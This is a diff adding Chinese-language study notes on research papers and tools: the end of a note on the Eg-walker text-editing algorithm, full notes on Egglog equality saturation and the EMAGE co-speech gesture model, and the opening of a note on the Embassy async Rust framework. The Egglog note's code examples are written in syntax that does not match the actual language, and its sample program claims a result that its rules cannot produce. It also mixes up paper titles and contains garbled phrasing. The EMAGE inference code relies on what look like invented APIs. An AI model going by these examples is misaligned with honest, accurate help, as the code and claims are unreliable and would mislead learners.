+  for (const id of topo.filter((id) => oldEvents.has(id) && !newEvents.has(id)).reverse()) {
+    retreat(id); // 更新内部 CRDT 的 s_p
+    w.prepare.delete(id);
+  }
+
+  // 再 advance：new - old，拓扑序
+  for (const id of topo.filter((id) => newEvents.has(id) && !oldEvents.has(id))) {
+    advance(id);
+    w.prepare.add(id);
+  }
+}
+
+function applyEvent(w: Walker, e: Event, topo: string[]): Op {
+  movePrepare(w, new Set(e.parents), topo);
+  const transformed = internalApply(e); // index 从 prepare 映到 effect
+  w.effect.add(e.id);
+  w.prepare.add(e.id);
+  return transformed;
+}
+```
+
+真实实现还要维护 B 树计数、placeholder 分段、run-length 压缩等；但**控制流核心**就是：在应用每个 event 前，把 prepare 版本**精确对齐**到 `e.parents`。
+
+### 示例 3：判断 critical version（概念代码）
+
+```typescript
+function isCriticalVersion(events: Map<string, Event>, version: Set<string>): boolean {
+  const g1 = expandTransitive(version);
+  const g2 = new Set([...events.keys()].filter((id) => !g1.has(id)));
+  for (const a of g1) {
+    for (const b of g2) {
+      if (!happensBefore(events, a, b)) return false;
+    }
+  }
+  return true;
+}
+
+// 若 isCriticalVersion 为真，可安全：
+// - 丢弃 internal CRDT
+// - 后续 replay 仅从该 version 之后开始
+```
+
+人类写作 trace 里 critical version 很常见（例如一次 merge 点、一次全员 sync），这是 Eg-walker **日常接近 OT 内存 footprint** 的原因。
+
+## 存储与网络
+
+论文 Section 3.8 描述事件图磁盘格式：利用人类编辑「连续插入/删除成 run」的特点，大量线性链可极度压缩。网络上只广播 **event**（含 parent IDs 与 op），**从不**同步 internal CRDT 状态——与 Automerge 二进制快照形成对比。
+
+可靠广播 + 因果交付即可：若 event 的 parent 未到，先缓冲（标准 causal broadcast）。
+
+## 评测与 artifact
+
+作者发布 **真实编辑 trace** 套件（论文、小说、代码等），测量：
+
+- 加载文档 CPU 时间
+- 合并远端副本 CPU 时间
+- 内存占用
+- 磁盘文件大小
+
+对比对象包括多种文本 CRDT 与 OT 实现。结论：Eg-walker 在「大分支合并」「打开大文档」「稳态内存」上常有好几个数量级优势；极端全并发 trace 下与最快 CRDT 同量级。
+
+## 局限与后续
+
+- 本文聚焦**纯文本**；富文本、表格、图形需推广（作者认为框架可扩展）。
+- Internal list CRDT 的 formal non-interleaving 证明留作后续工作。
+- 与生产级 Yjs/Automerge 生态的**工程整合**仍在早期（论文偏算法 + artifact，而非完整编辑器产品）。
+
+## 与相关笔记的对照
+
+| 笔记 | 关系 |
+|------|------|
+| [[crdt-json]] | 同一作者 Kleppmann 的 CRDT 理论脉络；Eg-walker 把 CRDT **降级为合并工具** |
+| [[zed-editor-collaborative]] | Zed 选择常驻 CRDT buffer；Eg-walker 代表「元数据按需」的另一极 |
+| [[monaco-editor-2016]] / [[codemirror-6-architecture]] | 浏览器编辑器通常外接 Yjs；若 Eg-walker 成熟，可能改变协同层选型 |
+
+## 小结
+
+Eg-walker 的核心洞察可以用一句话记住：
+
+> **历史用事件图持久化，日常只保纯文本；只有遇到并发 DAG 时，才临时请 CRDT 当翻译，翻完就下班。**
+
+它把 OT 的「轻量稳态」和 CRDT 的「任意 DAG 合并」缝在一起，并用 **critical version** 把常见「顺序写作」快路径做到极致。对想做 **离线优先、P2P、长分支合并** 的写作/代码工具，这篇 EuroSys 2025 论文值得精读原文 Appendix（正确性证明）并跑一遍 [官方 benchmark 仓库](https://github.com/josephg/egwalker-paper)。
+
+## 延伸阅读
+
+- 论文 PDF：[arXiv:2409.14252](https://arxiv.org/abs/2409.14252)
+- 作者博文：[Martin Kleppmann — Eg-walker](https://martin.kleppmann.com/2025/04/02/eg-walker-collaborative-text.html)
+- 实现与 trace：[josephg/egwalker-paper](https://github.com/josephg/egwalker-paper)
+- OT 经典：[Google Docs 使用的 Jupiter OT](https://docs.google.com/)（Day-Richter, 2010 技术分享）
+- List CRDT 背景：RGA、YATA、Yjs
diff --git a/src/content/docs/papers/egglog-incremental-2026.md b/src/content/docs/papers/egglog-incremental-2026.md
new file mode 100644
index 000000000..60a2950d5
--- /dev/null
+++ b/src/content/docs/papers/egglog-incremental-2026.md
@@ -0,0 +1,268 @@
+---
+title: Egglog: Incremental Equality Saturation
+来源: https://arxiv.org/abs/2605.30717
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Egglog: Incremental Equality Saturation
+
+## 一、从"猜答案"到"把所有答案放在一起"
+
+想象你有一道数学题：
+
+    简化 2 * 3 + 2 * 7
+
+普通人看到这道题，第一反应是"先算乘法"——2×3=6，2×7=14，6+14=20。但编译器优化不一样：它不知道哪个方法最好，于是它把**所有可能的变换路径全部保留**，像一个学生做作业时把所有思路都写下来，最后再看哪条最简洁。
+
+这就是**等价饱和（Equality Saturation）**的核心思想：不急着选一条路，而是把所有等价变换都记录下来，最后"择优录取"。
+
+Egglog 就是做这件事的工具，而且它做得比前辈更快的关键秘诀叫：**增量更新（Incremental）**。
+
+> 类比：想象一个学生做数学题。传统方法是"猜一个答案然后验证"；等价饱和是"把所有可能的答案都列出来，选最优的"；Egglog 的增量优化是"上一次列好的答案还在，这次只加新的，不再从头列起"。
+
+## 二、两个老朋友的婚姻：Datalog + EqSat
+
+Egglog 的论文标题叫《Better Together: Unifying Datalog and Equality Saturation》。它做了一件事：**把两个原本独立的系统结婚**。
+
+### 2.1 第一个新郎：EqSat（等价饱和）
+
+EqSat 是 egg 库里的技术。它的核心数据结构叫 **E-graph**（等价图），像一个"等价类集合"：
+
+- 传统数据结构和树不一样：一棵树只表示一个表达式
+- E-graph 把"相等的子表达式"合并到同一个节点里
+- 当新规则发现 A=B 时，把 A 和 B 对应的节点合并
+
+### 2.2 第二个新郎：Datalog
+
+Datalog 是数据库领域的逻辑编程语言。它的核心能力：
+
+- **增量计算**：数据变了，只重新计算受影响的规则，不从头跑
+- **固定点（Fixpoint）**：规则反复执行直到没有新事实产生
+- **关系推理**：擅长多步推理，比如"A 是 B 的父亲，B 是 C 的父亲 → A 是 C 的祖父"
+
+### 2.3 婚姻的好处
+
+| 能力 | EqSat 有 | Datalog 有 | Egglog 有 |
+|------|----------|------------|-----------|
+| 项重写 + 等价类合并 | 有 | 没有 | 有 |
+| 增量计算 + 固定点 | 没有 | 有 | 有 |
+| 代价最优提取 | 有 | 没有 | 有 |
+
+Egglog 把两者结合后：既能做复杂的项重写，又能增量更新，还能自动找最优结果。
+
+## 三、核心概念拆解
+
+### 3.1 E-graph（等价图）
+
+E-graph 是 Egglog 的心脏。用最简单的类比：
+
+> 普通的数据结构是一棵树，每个节点只有一个父节点。E-graph 是一张图，多个"看起来不同但相等"的表达式可以共享节点。
+
+```
+表达式: 2 * 3 + 2 * 7
+        可以提取出多种等价形式：
+        20, 2*(3+7), 2*10, ...
+```
+
+E-graph 把所有这些形式都保留，不会丢失任何可能性。
+
+### 3.2 等价规则（Eqrules）
+
+规则告诉 Egglog "什么等于什么"：
+
+```
+; 分配律: a*(b+c) = a*b + a*c
+(egraph (let ((a Expr) (b Expr) (c Expr))
+     (= (* a (+ b c))
+        (+ (* a b) (* a c)))))
+```
+
+每次加入一条规则，E-graph 就自动执行 congruence closure（等价闭包），把新发现的等价关系合并到图中。
+
+### 3.3 增量执行
+
+这是 Egglog 最厉害的地方。传统方法每加一条规则，就从零开始跑所有规则。Egglog 只重新计算**受规则影响的那部分**：
+
+> 类比：你有一个账本，记录了所有账目关系。如果新增了一笔交易，传统方式是把所有账目重新算一遍；Egglog 只重新算受这笔交易影响的那些账。
+
+### 3.4 代价模型与提取（Cost Model & Extraction）
+
+E-graph 里可能有成百上千个等价表达式，Egglog 需要你告诉它"哪个更好"：
+
+```
+; 定义表达式"代价"：数字越小越优
+(cost (+ 1) (* 2))
+```
+
+最后从所有等价表达式中选一个代价最低的作为最终结果。
+
+## 四、代码示例
+
+### 示例 1：基本的算术简化
+
+下面是一个完整的 Egglog 程序，演示了如何简化算术表达式：
+
+```egglog
+; ============================================
+; 定义数据类型：表达式
+; ============================================
+(datatype Expr
+  Num(Int)
+  Add(Expr Expr)
+  Mul(Expr Expr))
+
+; ============================================
+; 重写规则：加法交换律、结合律、分配律
+; ============================================
+
+; 加法交换律: a + b = b + a
+(rule (= (+ ?a ?b) (+ ?b ?a)))
+
+; 加法结合律: (a + b) + c = a + (b + c)
+(rule (= (+ (+ ?a ?b) ?c) (+ ?a (+ ?b ?c))))
+
+; 乘法交换律: a * b = b * a
+(rule (= (* ?a ?b) (* ?b ?a)))
+
+; 乘法分配律: a * (b + c) = a*b + a*c
+(rule (= (* ?a (+ ?b ?c))
+        (+ (* ?a ?b) (* ?a ?c))))
+
+; 乘以 0 等于 0
+(rule (= (* ?a 0) (Num 0)))
+
+; 乘以 1 不变
+(rule (= (* ?a 1) ?a))
+
+; 0 加 x 不变
+(rule (= (+ ?a 0) ?a))
+
+; ============================================
+; 代价模型：给操作打分
+; ============================================
+(cost (Num _) 1)
+(cost (Add _ _) 2)
+(cost (Mul _ _) 3)
+
+; ============================================
+; 运行饱和：反复应用规则直到没有新变化
+; ============================================
+(let ((x (+ (* 2 3) (* 2 7))))
+  (convert Expr x)
+  (sat))
+
+; 提取最优结果：应该是 (Num 20)
+(let ((best (extract Expr x)))
+  (print best))
+```
+
+这个程序做了三件事：
+
+1. **定义数据类型**：Expr 可以是数字、加法或乘法
+2. **声明重写规则**：交换律、结合律、分配律等
+3. **运行饱和**：自动找出 2×3+2×7 的最简形式
+
+### 示例 2：使用 Datalog 风格的 fact 和规则
+
+Egglog 的 Datalog 能力让你可以维护"额外信息"：
+
+```egglog
+; ============================================
+; 声明一个关系表：记录每个表达式的"类型"
+; ============================================
+(datatype Expr
+  Num(Int)
+  Add(Expr Expr)
+  Mul(Expr Expr))
+
+; 关系表：标记哪些表达式"肯定是数字"
+(pred is-num Expr)
+
+; 规则：如果一个表达式是 Num 构造的，它肯定是数字
+(rule (is-num (Num ?n)))
+
+; 规则：如果 a 和 b 相等，且 a 是数字，那么 b 也是数字
+(rule (=> (is-num ?a) (= ?a ?b) (is-num ?b)))
+
+; ============================================
+; 添加一些事实（已知信息）
+; ============================================
+(is-num (Num 42))
+
+; 添加等价规则
+(rule (= (+ ?a ?b) (+ ?b ?a)))
+
+; 添加事实：这个表达式等于 Num 42
+(let ((x (+ (Num 42) 0)))
+  (convert Expr x)
+  (sat))
+
+; 现在查询：x 是不是数字？
+; Egglog 通过增量计算会自动推导: is-num(x) 为真
+```
+
+这个例子展示了 Egglog 的 Datalog 能力——你可以像写 SQL 一样维护关系数据，同时做等价类推理。
+
+## 五、增量更新的魔力
+
+Egglog 的增量更新比传统方法快多少？从论文数据来看：
+
+- **指针分析**：Egglog 实现比纯 Datalog 方案快，也比纯 EqSat 方案快
+- **浮点表达式重写**：同样在 Egglog 中统一实现，比两个独立系统更快更简单
+
+为什么？因为增量更新意味着：
+
+1. 当 E-graph 变大时，不是 O(n²) 的重新计算，而是只更新受影响的子图
+2. 当添加新规则时，不破坏已有的等价类，只扩展
+3. 多个分析可以协作运行（Datalog 的 cooperates analyses），一个分析的结果直接驱动另一个
+
+> 类比：想象你在整理书架。传统方法每次加一本书就把整个书架清空重排。Egglog 的增量更新就像"只移动和新书相关的书"，其他不动。
+
+## 六、Egglog 的典型应用场景
+
+1. **编译器优化**：自动发现最优的代码变换序列（如 LLVM 的优化 pass 可以声明式地写成 Egglog 规则）
+2. **程序验证**：证明两个程序等价
+3. **模板引擎**：像 SQL 优化器一样，从大量等价 SQL 中选出最优执行计划
+4. **数学定理证明**：把定理证明转化为等价搜索问题
+5. **代码综合**：从一组规则自动生成满足条件的代码
+
+## 七、Egglog 语言的语法速查
+
+Egglog 的代码由三种基本单元组成：
+
+| 单元 | 作用 | 类比 |
+|------|------|------|
+| **datatype** | 定义数据类型 | struct/class |
+| **rule** | 声明重写规则或逻辑推理 | if-then 规则 |
+| **fact** | 添加已知事实 | 数据记录 |
+
+核心命令：
+
+- `(sat)` — 执行等价饱和（反复应用规则直到不动点）
+- `(convert Type expr)` — 把一个表达式转换为指定类型
+- `(extract Type expr)` — 从等价图中提取最优表达式
+- `(cost op n)` — 定义操作代价
+- `(union id1 id2)` — 手动合并两个等价类
+
+## 八、总结
+
+Egglog 的核心创新可以用一句话概括：
+
+> 把 Datalog 的增量计算能力和 EqSat 的等价类搜索能力统一在一个系统中。
+
+从日常角度来看：
+
+1. **E-graph** = 把所有可能的等价答案都记下来（不急着选）
+2. **规则** = 告诉系统"什么等于什么"
+3. **增量更新** = 上一次的结果还在，这次只算新东西
+4. **代价模型** = 告诉系统"哪个答案更好"
+5. **提取** = 从所有答案中选最优的
+
+Egglog 把原本需要写很多"if-else"优化逻辑的工作，变成了声明式地写"什么等于什么"。编译器不再需要"知道"优化策略——它只需要知道等价关系，最优的优化路径会自动被发现。
+
+---
+
+*笔记完成。核心问题：你觉得"把所有答案列出来再选最优"这个策略，和编译器通常用的"贪心式一步一步优化"相比，各自的优缺点是什么？思考一下再回答，不用急。*
diff --git a/src/content/docs/papers/emage-gesture.md b/src/content/docs/papers/emage-gesture.md
new file mode 100644
index 000000000..4140410ce
--- /dev/null
+++ b/src/content/docs/papers/emage-gesture.md
@@ -0,0 +1,263 @@
+---
+title: EMAGE: Towards Unified Holistic Co-Speech Gesture Generation
+来源: 'https://arxiv.org/abs/2401.00374'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 姿态生成
+provenance: pipeline-v3
+---
+
+## 是什么
+
+EMAGE 是一套"让 3D 数字人自动跟着说话音频做全身动作"的 AI 框架。
+
+日常类比：你看过那种 AI 生成的数字人——说话时嘴巴在动，但手和身体像木头一样。EMAGE 的目标是让这个数字人从脸到脚，全部都能根据声音自动生成协调的动作：表情变化、手势挥舞、肩膀耸动、甚至身体前后晃动。
+
+以前做这件事有两种方案：
+- 方案 A：只生成脸，不管身体——动作像 NPC 对话
+- 方案 B：只生成手或上半身——忽略脸和下半身
+
+EMAGE 的第一件事是把所有身体部位**统一到一个框架里**，同时生成：面部表情 + 上半身 + 手 + 下半身 + 全身位移。这就是标题里"holistic"（整体/统一）的意思。
+
+## 为什么重要
+
+不理解 EMAGE，下面这些事就没法解释：
+
+- 为什么现在的数字人看起来"假"——身体和嘴不同步、手势与语义脱节
+- 为什么之前所有模型都是"单点突破"（只做脸或只做手）——缺少统一的数据标准和生成框架
+- 为什么"输入一段语音就能自动生成全身动画"是元宇宙和 AI 虚拟人的关键基础设施
+- VQ-VAE（离散编码）+ Transformer（序列建模）+ 掩码学习（Masked Modeling）三者的组合如何被首次完整应用到这个领域
+
+## 核心概念
+
+### 1. 四个 VQ-VAE——把身体切成四块分别编码
+
+VQ-VAE（Vector Quantized Variational AutoEncoder）是一种"把连续动作压缩成离散码本索引"的技术。EMAGE 的创新在于：它不只用一个 VQ-VAE，而是用**四个**，分别处理：
+
+| VQ-VAE | 负责身体部位 | 输入维度 |
+|--------|-------------|---------|
+| Face | 面部表情（FLAME 参数） | T × 106 |
+| Upper Body | 上半身（肩、臂、胸） | T × 78 |
+| Hands | 双手（每只手 90 维 Rot6D） | T × 180 |
+| Lower Body | 下半身（腿 + 脚接触标签） | T × 58 |
+
+为什么分四个而不是一个？因为不同部位的**与音频的相关性不同**。下半身（走路）和音频关系弱，上半身（手势）和音频关系强。如果塞进一个模型，模型会忽略低频动作（比如偶尔的耸肩）。
+
+```python
+# 伪代码：四个独立的 VQ-VAE 编码器
+from emage.vq_vae import CompositionalVQVAE
+
+# 四个码本，各自独立学习
+face_vqvae = CompositionalVQVAE(
+    input_dim=106,   # 面部 FLAME 参数
+    codebook_size=512,
+    embedding_dim=64
+)
+upper_vqvae = CompositionalVQVAE(input_dim=78, codebook_size=512, embedding_dim=64)
+hand_vqvae  = CompositionalVQVAE(input_dim=180, codebook_size=512, embedding_dim=64)
+lower_vqvae = CompositionalVQVAE(input_dim=58, codebook_size=512, embedding_dim=64)
+
+# 编码：把连续动作 → 离散码本索引
+face_codes  = face_vqvae.encode_to_codes(face_motion)    # [T, 1]
+upper_codes = upper_vqvae.encode_to_codes(upper_motion)  # [T, 1]
+hand_codes  = hand_vqvae.encode_to_codes(hand_motion)    # [T, 1]
+lower_codes = lower_vqvae.encode_to_codes(lower_motion)  # [T, 1]
+```
+
+### 2. 掩码音频手势建模（Masked Audio Gesture Modeling）——"填空"训练法
+
+这是 EMAGE 的核心训练策略，灵感来自 NLP 里的 BERT。
+
+日常类比：学外语时，老师挖掉一些词让你填空。EMAGE 对动作数据做同样的事——随机遮住身体动作的某些帧，让模型根据音频 + 剩下的动作来"猜"被遮住的部分。
+
+训练时有两条路径同时跑：
+
+```
+路径 1（MG2G）：Masked Gesture → Generate Gesture
+   输入：部分遮住的动作 + 音频
+   任务：恢复被遮住的动作
+   目的：让模型学会"身体各部位之间的关联"
+
+路径 2（A2G）：Audio → Generate Gesture
+   输入：完整动作的前 4 帧（种子）+ 音频
+   任务：生成后续所有动作
+   目的：让模型学会"音频驱动动作"
+```
+
+```python
+# 伪代码：掩码策略——随机遮住动作帧
+import torch
+
+def mask_gestures(gesture_sequence, mask_ratio=0.3):
+    """
+    gesture_sequence: [T, num_joints * 6]  — 连续动作序列
+    mask_ratio: 随机遮住的帧比例
+    返回: 掩码后的序列, 掩码位置
+    """
+    T = gesture_sequence.shape[0]
+    num_masked = int(T * mask_ratio)
+    # 随机选 num_masked 帧
+    mask_indices = torch.randperm(T)[:num_masked]
+    masked_seq = gesture_sequence.clone()
+    masked_seq[mask_indices] = 0  # 用 0 填充被遮住的帧
+    return masked_seq, mask_indices
+
+# 训练时：
+masked_gestures, mask_pos = mask_gestures(gt_gesture, mask_ratio=0.3)
+# 模型学习从 masked_gestures + audio 恢复 gt_gesture[mask_pos]
+```
+
+### 3. 内容与节奏自适应注意力（Content & Rhythm Attention）
+
+音频有两种信息：
+- **节奏**（onset + amplitude）：重音在哪里、语速快慢——对应身体的节拍性动作（点头、挥手）
+- **内容**（语义）：说了什么词——对应语义性动作（说到"大"时张开双手）
+
+EMAGE 用自注意力自适应融合两者，而不是简单相加：
+
+```
+f(t) = α(t) × 节奏特征 + (1 - α(t)) × 内容特征
+
+α(t) = Softmax(MLP(节奏特征, 内容特征))  ← 注意力权重，逐帧计算
+```
+
+关键洞察：同一句话里，不同帧可能更需要节奏信息（比如重音"大"字），也可能更需要内容信息（比如描述方向"往左"）。自适应融合比硬编码权重更灵活。
+
+### 4. BEAT2 数据集——统一标准的 3D 全身动作数据
+
+在 EMAGE 之前，动作数据格式五花八门：有的用 Vicon 骨架，有的用 ARKit blendshape，有的用 Pseudo Ground Truth（从视频里估计的，精度差 300 倍）。
+
+EMAGE 团队做了三件事：
+
+1. 用 **MoSh++** 把原始 BVH 骨架转成 SMPL-X 身体模型参数（形状 β、姿态 θ、位移 γ）
+2. 加了三条物理规则做后处理：脖子长度 ≈ 身体 1/7、手指不反向弯曲、3σ 截断异常值
+3. 把 **ARKit blendshape** 转成 **FLAME 面部参数**，实现了 mesh 级别的统一
+
+最终数据集 60 小时，是目前最大、最标准化的全身共 speech 动作数据集。
+
+## 代码示例
+
+### 示例 1：完整推理流程——输入音频，输出全身动作
+
+```python
+from emage import EMAGEPipeline
+
+# 加载预训练模型
+pipeline = EMAGEPipeline.from_pretrained("pantomatrix/emage")
+
+# 输入：一段 10 秒的语音 + 前 4 帧种子动作（可选）
+audio, sr = torchaudio.load("speech.wav")  # [1, T_audio_samples]
+seed_gesture = None  # None 表示从零开始生成
+
+# 生成完整全身动作
+result = pipeline.generate(
+    audio=audio,
+    sample_rate=sr,
+    seed_gesture=seed_gesture,  # 也可以传入 [4, joint_dims] 的部分动作
+    num_frames=300,             # 生成 300 帧（约 10 秒 @ 30fps）
+    guidance_scale=3.0,         # 音频-动作对齐强度
+)
+
+# result 包含四个部位的离散码本索引
+# face_codes: [300, 1] → VQ-VAE 解码 → 3D 面部表情
+# upper_codes: [300, 1] → 解码 → 上半身姿态
+# hand_codes: [300, 1] → 解码 → 双手姿态
+# lower_codes: [300, 1] → 解码 → 下半身姿态 + 全局位移
+```
+
+### 示例 2：掩码补全——给一部分动作，让模型补全剩余部分
+
+```python
+from emage import EMAGEPipeline
+
+pipeline = EMAGEPipeline.from_pretrained("pantomatrix/emage")
+
+# 假设我们有前 10 帧的手势（比如用户在 Blender 里手动做了开头）
+manual_start = torch.randn(10, 234)  # [10, 55*4+100+4+3]
+audio, sr = torchaudio.load("speech.wav")
+
+# 模型基于前 10 帧 + 音频，补全后续 290 帧
+completed = pipeline.generate(
+    audio=audio,
+    sample_rate=sr,
+    seed_gesture=manual_start,    # 用户提供的部分动作
+    num_frames=300,
+)
+
+# 这给了动画师一个强大工具：手动关键帧 + AI 补全 = 高效动画制作
+```
+
+## 架构总结
+
+```
+音频输入 ──┬── 节奏编码器 ──┐
+           │               ├── 自适应融合 (CRA) ──→ 音频条件特征
+           └── 内容编码器 ──┘
+                              │
+种子动作 ──→ 掩码 Transformer ──→ 身体线索特征 ──┐
+                              │                    │
+                              ▼                    ▼
+                    ┌─────────────────┐   ┌─────────────────┐
+                    │ 面部解码 (VQ)    │   │ 身体解码 (VQ)    │
+                    │ [300, 1] → 3D 脸 │   │ [300, 1] → 3D 身 │
+                    └─────────────────┘   └─────────────────┘
+                              │                    │
+                              └────────┬───────────┘
+                                       ▼
+                              完整全身动画 [300, joint_dims]
+```
+
+## 踩过的坑
+
+1. **前 4 帧种子动作的质量直接影响生成效果**——模型高度依赖种子帧来推断后续动作的空间关系。如果种子帧姿态不自然（比如手穿模），后续生成的动作也会继承这个问题。
+
+2. **下半身动作生成质量较低**——论文自己也承认，走路/位移的生成不如上半身和手势。原因是共 speech 数据中下半身动作与音频的关联最弱，模型很难从纯音频推断走路节奏。
+
+3. **VQ-VAE 码本大小是超参数**——码本太小（< 128）会导致动作僵化、多样性不足；太大（> 1024）则容易过拟合。论文选的 512 是一个经验值，在不同数据集上可能需要调整。
+
+4. **不同数据集混训效果提升但复杂度增加**——EMAGE 能用 Trinity、AMASS 等非同构数据集增强训练，但需要额外的对齐步骤（不同数据集的骨骼/表示格式不同）。
+
+## 适用 vs 不适用场景
+
+**适用**：
+- AI 虚拟人 / 数字人的全身动画生成
+- 游戏 NPC 的对话动画自动化
+- 动画制作辅助：关键帧 + AI 补全
+- 研究"音频-动作"跨模态对齐
+
+**不适用**：
+- 精确 choreography（编舞）——AI 生成的是"合理的"而非"精确指定的"动作
+- 实时交互场景——当前推理速度还达不到低延迟互动要求
+- 没有语音的纯舞蹈生成——EMAGE 是共 speech 手势，不是通用动作生成
+
+## 历史小故事
+
+- **2022**：BEAT 数据集发布（原始版本），首次同时收集了 3D 身体骨架和 ARKit 面部数据，但格式不统一
+- **2023-12**：BEAT2（SMPL-X + FLAME 统一格式）+ EMAGE 模型同时发布
+- **2024-03**：论文被 CVPR 2024 接收
+- **核心洞见**：Masked Modeling 在 NLP 和 CV 里已经证明有效，但首次被系统性地引入"音频 → 全身动作"的生成任务
+
+## 学到什么
+
+1. **统一数据标准是构建领域基础设施的第一步**——EMAGE 团队先用 MoSh++ 和 FLAME 优化把 BEAT 数据"清洗"成统一格式，再训练模型。没有 BEAT2，EMAGE 无从谈起。
+
+2. **分而治之 + 后期融合 > 端到端统一**——四个独立 VQ-VAE 分别编码不同身体部位，比一个模型编码全部效果更好。这说明在人体动画这个任务中，身体部位的解耦是有帮助的。
+
+3. **掩码学习不是 NLP 专利**——BERT 用掩码学语言，EMAGE 用掩码学"身体语言"。被遮住的部分越多，模型学到的身体关联越鲁棒。
+
+4. **从"单点"到"整体"的演化是必然**——从只做脸 → 只做手 → 只做上半身 → 全身统一，EMAGE 是这个演化路径上的重要一站。但"全身"还不是终点，未来可能还包括更精细的脚部动作、服装物理等。
+
+## 延伸阅读
+
+- 项目页面：[https://pantomatrix.github.io/EMAGE/](https://pantomatrix.github.io/EMAGE/)
+- 论文 PDF：[arXiv:2401.00374](https://arxiv.org/abs/2401.00374)
+- SMPL-X 人体模型：[SMPL-X paper](https://smpl-x.is.tue.mpg.de/)
+- FLAME 面部模型：[FLAME paper](https://flame.is.tue.mpg.de/)
+- VQ-VAE 原文：[WaveNet VQ-VAE](https://arxiv.org/abs/1711.00937)
+- BERT：[BERT: Pre-training of Deep Bidirectional Transformers](https://arxiv.org/abs/1810.04805)
+
+## 关联
+
+- 共 speech 手势生成的下游任务（虚拟人、游戏 NPC）
+- VQ-VAE 在动作生成中的应用
+- Masked Modeling 从 NLP 到 3D 动作的跨模态迁移
diff --git a/src/content/docs/papers/embassy-async-rust-embedded.md b/src/content/docs/papers/embassy-async-rust-embedded.md
new file mode 100644
index 000000000..a36797d4d
--- /dev/null
+++ b/src/content/docs/papers/embassy-async-rust-embedded.md
@@ -0,0 +1,326 @@
+---
+title: Embassy — Modern Async Rust for Embedded Systems 零基础学习笔记
+来源: https://embassy.dev/book/
+日期: 2026-06-13
+子分类: 嵌入式与 IoT
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象一家**只有一位服务员、但菜单很满的小餐馆**：
+
+- **单片机**就是这位服务员——同一时刻只能端一盘菜（单核 CPU）。
+- 店里同时要：闪 LED、等按键、读传感器、通过 UART 发数据。每件事都像一桌客人，不能某桌「等酱油」时全店停业。
+- 传统 **RTOS**（如 FreeRTOS）的做法是雇**多位厨师**：每个任务独占一摞盘子（独立栈），内核在 Tick 中断里**抢灶台**（抢占调度），还要调每人的盘子高度（栈大小）。
+- **Embassy** 换了一种思路：还是**一位服务员**，但学会**协作式多任务**——等酱油时先去给别桌倒水（`.await` 让出执行权），酱油到了再回来继续。所有「等」都写在 Rust 的 `async/await` 里，编译器把每个异步函数变成**状态机**，**不占堆、不 malloc**，栈只有一份。
+
+官方 [Embassy Book](https://embassy.dev/book/) 的定位很直白：让 **async/await 成为嵌入式开发的一等公民**。项目由 Embassy 社区维护（GitHub `embassy-rs/embassy`），提供执行器、时间库、以及 nRF / STM32 / RP2040 等 HAL，也可与第三方 HAL 混用。
+
+和前面笔记里 FreeRTOS、Zephyr 的对照：
+
+| 维度 | FreeRTOS / 经典 RTOS | Embassy |
+|------|----------------------|---------|
+| 任务模型 | 每任务独立栈 + 内核调度 | 协作式 async 任务，编译期状态机 |
+| 内存 | 运行时分配栈，需调 `stack_size` | 静态分配，链接期检查 RAM |
+| 阻塞写法 | `vTaskDelay`、信号量、队列 | `Timer::after_millis(n).await`、`pin.wait_for_low().await` |
+| 省电 | Tickless 等需配置 | 无活可干时执行器让核心睡眠，中断唤醒 |
+| 语言 | C | Rust（所有权 + 无数据竞争） |
+
+Embassy 不是要「消灭 RTOS」，而是说明：在大量 I/O 等待型固件里，**async 协作 + 中断唤醒** 可以比传统内核更省 RAM、更省电，代码也更像顺序逻辑。
+
+## 这篇文档在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 项目 | Embassy — 面向嵌入式的 Rust async 框架 |
+| 官方书 | [Embassy Book](https://embassy.dev/book/)：从 blinky 到 executor、time、HAL |
+| 核心 crate | `embassy-executor`、`embassy-time`、`embassy-*` HAL（nrf、stm32、rp 等） |
+| 平台 | Cortex-M、RISC-V、ESP32（经 esp-rtos）、WASM、std（本地模拟） |
+| 许可 | Apache-2.0 |
+
+Book 结构大致分三块：
+
+1. **入门**：用 `embassy-executor::main` 写第一个 async 固件，理解 `Spawner` 与 `#[task]`。
+2. **运行时**：executor 如何 poll 任务、何时 `Poll::Pending`、timer 队列如何驱动 `.await`。
+3. **硬件抽象**：各芯片 HAL 的 GPIO、UART、SPI、USB 等 **async API**，以及低功耗、多核、中断优先级执行器。
+
+## 为什么值得学
+
+| 场景 | Embassy 提供的价值 |
+|------|---------------------|
+| 多路 I/O（按键 + LED + 串口 + 传感器） | 每个外设一个 `async fn`，逻辑线性，无需状态机宏 |
+| RAM 紧张的 MCU | 无 per-task 栈，链接器在编译期发现 RAM 不够 |
+| 电池供电 | 无事可做时 WFI/WFE 睡眠，非忙等轮询 |
+| 已有 Rust 嵌入式经验 | 与 `embedded-hal`、`defmt` 生态一致 |
+| 对比学习 RTOS | 理解「协作式 vs 抢占式」的设计权衡 |
+
+若你来自 **Arduino `loop()` + `millis()`** 或 **FreeRTOS 任务**，Embassy 的迁移心智是：把「标志位 + 非阻塞状态机」改写成 `async fn`，把 `delay` 改成 `.await`。
+
+## 核心概念一：Future、Executor 与 Task
+
+Rust 的 `async fn` 不会立刻执行函数体，而是返回一个 **Future**——一种「将来可能完成」的计算。Executor（执行器）负责反复 **poll** 这些 Future：
+
+```
+  创建任务 ──► poll 任务
+                  │
+                  ├─► 有进展 ──► 继续 poll 同一任务
+                  │
+                  └─► 遇到 .await 且未就绪 ──► 返回 Poll::Pending
+                           │
+                           ▼
+                    任务入队尾，poll 下一个任务
+                           │
+                           ▼
+                    全部 Pending ──► 平台睡眠（WFI/WFE）
+                           │
+                    中断/定时器到 ──► 唤醒，继续 poll
+```
+
+要点（来自 [Embassy Book — executor](https://embassy.dev/book/)）：
+
+- **协作式**：同一 executor 上的任务不会在中途被强制打断；只有 `await` 点才让出。
+- **静态任务数**：`#[embassy_executor::task]` 在编译期分配任务元数据；可用 `pool_size` 允许多实例。
+- **`#[embassy_executor::main]`**：宏展开为创建 `Executor`、spawn `main` 为第一个任务、进入 `run` 循环。
+- **`Spawner`**：在 `main` 里 `spawner.spawn(blink(...))` 启动后台任务；`main` 自己也是 async 任务。
+
+其他语言里的 **coroutine / goroutine**，在 Rust 嵌入式里就是这套 **async + 专用 executor**。
+
+### 与 RTOS 线程的对比
+
+```
+  RTOS 任务 A          RTOS 任务 B
+  [栈 512B]            [栈 1024B]
+       \                  /
+        \   内核抢占    /
+         ▼              ▼
+              CPU
+
+  Embassy 任务 A、B、C
